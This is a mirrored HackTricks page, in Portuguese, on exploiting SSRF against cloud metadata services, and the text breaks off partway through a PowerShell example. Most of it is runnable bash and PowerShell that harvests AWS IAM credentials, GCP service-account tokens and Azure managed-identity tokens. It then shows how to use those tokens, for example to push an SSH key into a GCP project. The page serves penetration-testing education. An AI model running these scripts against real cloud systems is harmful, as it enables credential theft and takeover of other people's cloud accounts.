mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 09:34:03 +00:00
626 lines
32 KiB
Markdown
626 lines
32 KiB
Markdown
# Cloud SSRF
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## AWS
|
|
|
|
### Abusando de SSRF no ambiente AWS EC2
|
|
|
|
**O endpoint de metadados** pode ser acessado de dentro de qualquer máquina EC2 e oferece informações interessantes sobre ela. É acessível na URL: `http://169.254.169.254` ([informações sobre os metadados aqui](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
|
|
|
Existem **2 versões** do endpoint de metadados. A **primeira** permite **acessar** o endpoint via **requisições GET** (então qualquer **SSRF pode explorá-lo**). Para a **versão 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), você precisa solicitar um **token** enviando uma **requisição PUT** com um **cabeçalho HTTP** e então usar esse token para acessar os metadados com outro cabeçalho HTTP (então é **mais complicado de abusar** com um SSRF).
|
|
|
|
{% hint style="danger" %}
|
|
Note que se a instância EC2 estiver aplicando IMDSv2, [**de acordo com a documentação**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **resposta da requisição PUT** terá um **limite de salto de 1**, tornando impossível acessar os metadados EC2 de um contêiner dentro da instância EC2.
|
|
|
|
Além disso, **IMDSv2** também **bloqueará requisições para buscar um token que incluam o cabeçalho `X-Forwarded-For`**. Isso é para evitar que proxies reversos mal configurados consigam acessá-lo.
|
|
{% endhint %}
|
|
|
|
Você pode encontrar informações sobre os [endpoints de metadados na documentação](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). No seguinte script, algumas informações interessantes são obtidas a partir dele:
|
|
```bash
|
|
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
|
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
|
URL="http://169.254.169.254/latest/meta-data"
|
|
|
|
aws_req=""
|
|
if [ "$(command -v curl)" ]; then
|
|
aws_req="curl -s -f -H '$HEADER'"
|
|
elif [ "$(command -v wget)" ]; then
|
|
aws_req="wget -q -O - -H '$HEADER'"
|
|
else
|
|
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
|
fi
|
|
|
|
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
|
|
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
|
|
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
|
|
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
|
|
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
|
|
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
|
|
|
|
echo ""
|
|
echo "Account Info"
|
|
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
|
|
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
|
|
|
|
echo ""
|
|
echo "Network Info"
|
|
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
|
|
echo "Mac: $mac"
|
|
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
|
|
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
|
|
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
|
|
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
|
|
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
|
|
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
|
|
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
|
|
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
|
|
echo ""
|
|
done
|
|
|
|
echo ""
|
|
echo "IAM Role"
|
|
eval $aws_req "$URL/iam/info"
|
|
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
|
|
echo "Role: $role"
|
|
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
|
|
echo ""
|
|
done
|
|
|
|
echo ""
|
|
echo "User Data"
|
|
# Search hardcoded credentials
|
|
eval $aws_req "http://169.254.169.254/latest/user-data"
|
|
|
|
echo ""
|
|
echo "EC2 Security Credentials"
|
|
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
|
```
|
|
Como um **exemplo exposto de credenciais IAM disponíveis publicamente**, você pode visitar: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
|
|
|
Você também pode verificar **credenciais de segurança EC2 públicas** em: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
|
|
|
Você pode então pegar **essas credenciais e usá-las com o AWS CLI**. Isso permitirá que você faça **qualquer coisa que o papel tenha permissões** para fazer.
|
|
|
|
Para aproveitar as novas credenciais, você precisará criar um novo perfil AWS como este:
|
|
```
|
|
[profilename]
|
|
aws_access_key_id = ASIA6GG71[...]
|
|
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
|
|
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
|
```
|
|
Note que o **aws\_session\_token** é indispensável para o perfil funcionar.
|
|
|
|
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) pode ser usado com as credenciais descobertas para descobrir seus privilégios e tentar escalar privilégios.
|
|
|
|
### SSRF em credenciais do AWS ECS (Serviço de Contêiner)
|
|
|
|
**ECS** é um grupo lógico de instâncias EC2 nas quais você pode executar um aplicativo sem precisar escalar sua própria infraestrutura de gerenciamento de cluster, pois o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no **ECS**, os **endpoints de metadados mudam**.
|
|
|
|
Se você acessar _**http://169.254.170.2/v2/credentials/\<GUID>**_ você encontrará as credenciais da máquina ECS. Mas primeiro você precisa **encontrar o \<GUID>**. Para encontrar o \<GUID>, você precisa ler a variável **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** dentro da máquina.\
|
|
Você pode ser capaz de lê-la explorando um **Path Traversal** para `file:///proc/self/environ`\
|
|
O endereço http mencionado deve fornecer a **AccessKey, SecretKey e token**.
|
|
```bash
|
|
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
|
```
|
|
{% hint style="info" %}
|
|
Note que em **alguns casos** você poderá acessar os **metadados da instância EC2** a partir do contêiner (verifique as limitações de TTL do IMDSv2 mencionadas anteriormente). Nesses cenários, a partir do contêiner, você poderia acessar tanto o papel IAM do contêiner quanto o papel IAM da EC2.
|
|
{% endhint %}
|
|
|
|
### SSRF para AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
|
|
|
Neste caso, as **credenciais estão armazenadas em variáveis de ambiente**. Portanto, para acessá-las, você precisa acessar algo como **`file:///proc/self/environ`**.
|
|
|
|
O **nome** das **variáveis de ambiente interessantes** são:
|
|
|
|
* `AWS_SESSION_TOKEN`
|
|
* `AWS_SECRET_ACCESS_KEY`
|
|
* `AWS_ACCES_KEY_ID`
|
|
|
|
Além disso, além das credenciais IAM, as funções Lambda também têm **dados de evento que são passados para a função quando ela é iniciada**. Esses dados são disponibilizados para a função através da [interface de runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) e podem conter **informações** **sensíveis** (como dentro das **stageVariables**). Ao contrário das credenciais IAM, esses dados são acessíveis através de SSRF padrão em **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
|
|
|
{% hint style="warning" %}
|
|
Note que as **credenciais lambda** estão dentro das **variáveis de ambiente**. Portanto, se o **stack trace** do código lambda imprimir variáveis de ambiente, é possível **exfiltrá-las provocando um erro** no aplicativo.
|
|
{% endhint %}
|
|
|
|
### SSRF URL para AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
|
|
|
Nós recuperamos o `accountId` e `region` da API.
|
|
```
|
|
http://169.254.169.254/latest/dynamic/instance-identity/document
|
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
|
```
|
|
Em seguida, recuperamos o `AccessKeyId`, `SecretAccessKey` e `Token` da API.
|
|
```
|
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
|
```
|
|
![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)
|
|
|
|
Em seguida, usamos as credenciais com `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
|
|
|
## GCP <a href="#id-6440" id="id-6440"></a>
|
|
|
|
Você pode [**encontrar aqui a documentação sobre endpoints de metadados**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
|
|
|
### URL SSRF para Google Cloud <a href="#id-6440" id="id-6440"></a>
|
|
|
|
Requer o cabeçalho HTTP **`Metadata-Flavor: Google`** e você pode acessar o endpoint de metadados com as seguintes URLs:
|
|
|
|
* http://169.254.169.254
|
|
* http://metadata.google.internal
|
|
* http://metadata
|
|
|
|
Endpoints interessantes para extrair informações:
|
|
```bash
|
|
# /project
|
|
# Project name and number
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
|
# Project attributes
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
|
|
|
|
# /oslogin
|
|
# users
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
|
|
# groups
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
|
|
# security-keys
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
|
|
# authorize
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
|
|
|
|
# /instance
|
|
# Description
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
|
|
# Hostname
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
|
|
# ID
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
|
# Image
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
|
|
# Machine Type
|
|
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
|
|
# Name
|
|
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
|
|
# Tags
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
|
|
# Zone
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
|
# User data
|
|
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
|
|
# Network Interfaces
|
|
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
|
|
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
|
|
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
|
|
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
|
|
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
|
|
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
|
|
echo " ============== "
|
|
done
|
|
# Service Accounts
|
|
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
|
echo " Name: $sa"
|
|
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
|
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
|
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
|
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
|
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
|
echo " ============== "
|
|
done
|
|
# K8s Attributtes
|
|
## Cluster location
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
|
|
## Cluster name
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
|
|
## Os-login enabled
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
|
|
## Kube-env
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
|
|
## Kube-labels
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
|
|
## Kubeconfig
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
|
|
|
|
# All custom project attributes
|
|
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
|
|
-H "Metadata-Flavor: Google"
|
|
|
|
# All custom project attributes instance attributes
|
|
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
|
-H "Metadata-Flavor: Google"
|
|
```
|
|
Beta NÃO requer um cabeçalho no momento (obrigado Mathias Karlsson @avlidienbrunn)
|
|
```
|
|
http://metadata.google.internal/computeMetadata/v1beta1/
|
|
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
|
```
|
|
{% hint style="danger" %}
|
|
Para **usar o token da conta de serviço exfiltrado** você pode simplesmente fazer:
|
|
```bash
|
|
# Via env vars
|
|
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
|
gcloud projects list
|
|
|
|
# Via setup
|
|
echo "<token>" > /some/path/to/token
|
|
gcloud config set auth/access_token_file /some/path/to/token
|
|
gcloud projects list
|
|
gcloud config unset auth/access_token_file
|
|
```
|
|
{% endhint %}
|
|
|
|
### Adicionar uma chave SSH <a href="#id-3e24" id="id-3e24"></a>
|
|
|
|
Extrair o token
|
|
```
|
|
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
|
```
|
|
Verifique o escopo do token (com a saída anterior ou executando o seguinte)
|
|
```bash
|
|
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
|
"issued_to": "101302079XXXXX",
|
|
"audience": "10130207XXXXX",
|
|
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
|
|
"expires_in": 2443,
|
|
"access_type": "offline"
|
|
}
|
|
```
|
|
Agora empurre a chave SSH.
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
|
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
|
-H "Content-Type: application/json"
|
|
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
|
```
|
|
{% endcode %}
|
|
|
|
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
|
|
|
|
O endpoint de metadados funciona da mesma forma que em VMs, mas sem alguns endpoints:
|
|
```bash
|
|
# /project
|
|
# Project name and number
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
|
|
|
# /instance
|
|
# ID
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
|
# Zone
|
|
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
|
# Auto MTLS config
|
|
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
|
|
# Service Accounts
|
|
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
|
echo " Name: $sa"
|
|
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
|
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
|
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
|
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
|
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
|
echo " ============== "
|
|
done
|
|
```
|
|
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
|
|
|
{% hint style="warning" %}
|
|
Não existem coisas como AWS Roles ou contas de serviço GCP, então não espere encontrar credenciais de bot de metadados
|
|
{% endhint %}
|
|
|
|
Documentação disponível em [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
|
```
|
|
curl http://169.254.169.254/metadata/v1/id
|
|
http://169.254.169.254/metadata/v1.json
|
|
http://169.254.169.254/metadata/v1/
|
|
http://169.254.169.254/metadata/v1/id
|
|
http://169.254.169.254/metadata/v1/user-data
|
|
http://169.254.169.254/metadata/v1/hostname
|
|
http://169.254.169.254/metadata/v1/region
|
|
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
|
|
curl http://169.254.169.254/metadata/v1.json | jq
|
|
```
|
|
## Azure <a href="#cea8" id="cea8"></a>
|
|
|
|
### Azure VM
|
|
|
|
[**Docs** aqui](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
|
|
|
* **Deve** conter o cabeçalho `Metadata: true`
|
|
* Não deve **contém** um cabeçalho `X-Forwarded-For`
|
|
|
|
{% hint style="success" %}
|
|
Uma Azure VM pode ter 1 identidade gerenciada pelo sistema anexada e várias identidades gerenciadas pelo usuário. O que basicamente significa que você pode **impersonar todas as identidades gerenciadas anexadas a uma VM**.
|
|
|
|
Por **padrão**, o endpoint de metadados usará a **MI atribuída ao sistema (se houver)**.
|
|
|
|
Infelizmente, não consegui encontrar nenhum endpoint de metadados indicando todas as MIs que uma VM tem anexadas.
|
|
|
|
Portanto, para encontrar todas as MIs anexadas, você pode fazer:
|
|
|
|
* Obter **identidades anexadas com az cli** (se você já comprometeu um principal no locatário do Azure)
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
az vm identity show \
|
|
--resource-group <rsc-group> \
|
|
--name <vm-name>
|
|
```
|
|
{% endcode %}
|
|
|
|
* Obtenha **identidades anexadas** usando o MI anexado padrão nos metadados:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
export API_VERSION="2021-12-13"
|
|
|
|
# Get token from default MI
|
|
export TOKEN=$(curl -s -H "Metadata:true" \
|
|
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
|
| jq -r '.access_token')
|
|
|
|
# Get needed details
|
|
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
|
|
"http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
|
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
|
|
"http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
|
export VM_NAME=$(curl -s -H "Metadata:true" \
|
|
"http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
|
|
|
# Try to get attached MIs
|
|
curl -s -H "Authorization: Bearer $TOKEN" \
|
|
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
|
```
|
|
{% endcode %}
|
|
|
|
* **Obtenha todos** os identidades gerenciadas definidas no locatário e **forçe bruta** para ver se alguma delas está anexada à VM:
|
|
```bash
|
|
az identity list
|
|
```
|
|
{% endhint %}
|
|
|
|
{% hint style="danger" %}
|
|
Nas solicitações de token, use qualquer um dos parâmetros `object_id`, `client_id` ou `msi_res_id` para indicar a identidade gerenciada que você deseja usar ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Se nenhum for fornecido, a **MI padrão será usada**.
|
|
{% endhint %}
|
|
|
|
{% tabs %}
|
|
{% tab title="Bash" %}
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
HEADER="Metadata:true"
|
|
URL="http://169.254.169.254/metadata"
|
|
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
|
|
|
|
echo "Instance details"
|
|
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
|
|
|
|
echo "Load Balancer details"
|
|
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
|
|
|
|
echo "Management Token"
|
|
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
|
|
|
|
echo "Graph token"
|
|
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
|
|
|
|
echo "Vault token"
|
|
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
|
|
|
|
echo "Storage token"
|
|
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
|
|
```
|
|
{% endcode %}
|
|
{% endtab %}
|
|
|
|
{% tab title="PS" %}
|
|
```bash
|
|
# Powershell
|
|
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
|
|
## User data
|
|
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
|
|
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
|
|
|
|
# Paths
|
|
/metadata/instance?api-version=2017-04-02
|
|
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
|
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
|
```
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|
|
### Azure App Service
|
|
|
|
A partir do **env**, você pode obter os valores de `IDENTITY_HEADER` _e_ `IDENTITY_ENDPOINT`. Que você pode usar para obter um token para se comunicar com o servidor de metadados.
|
|
|
|
Na maioria das vezes, você quer um token para um desses recursos:
|
|
|
|
* [https://storage.azure.com](https://storage.azure.com/)
|
|
* [https://vault.azure.net](https://vault.azure.net/)
|
|
* [https://graph.microsoft.com](https://graph.microsoft.com/)
|
|
* [https://management.azure.com](https://management.azure.com/)
|
|
```bash
|
|
# Check for those env vars to know if you are in an Azure app
|
|
echo $IDENTITY_HEADER
|
|
echo $IDENTITY_ENDPOINT
|
|
|
|
# You should also be able to find the folder:
|
|
ls /opt/microsoft
|
|
#and the file
|
|
ls /opt/microsoft/msodbcsql17
|
|
|
|
# Get management token
|
|
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
|
# Get graph token
|
|
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
|
|
|
# API
|
|
# Get Subscriptions
|
|
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
|
|
curl -H "Authorization: $TOKEN" "$URL"
|
|
# Get current permission on resources in the subscription
|
|
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
|
|
curl -H "Authorization: $TOKEN" "$URL"
|
|
# Get permissions in a VM
|
|
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
|
|
curl -H "Authorization: $TOKEN" "$URL"
|
|
```
|
|
|
|
```powershell
|
|
# API request in powershell to management endpoint
|
|
$Token = 'eyJ0eX..'
|
|
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
|
|
$RequestParams = @{
|
|
Method = 'GET'
|
|
Uri = $URI
|
|
Headers = @{
|
|
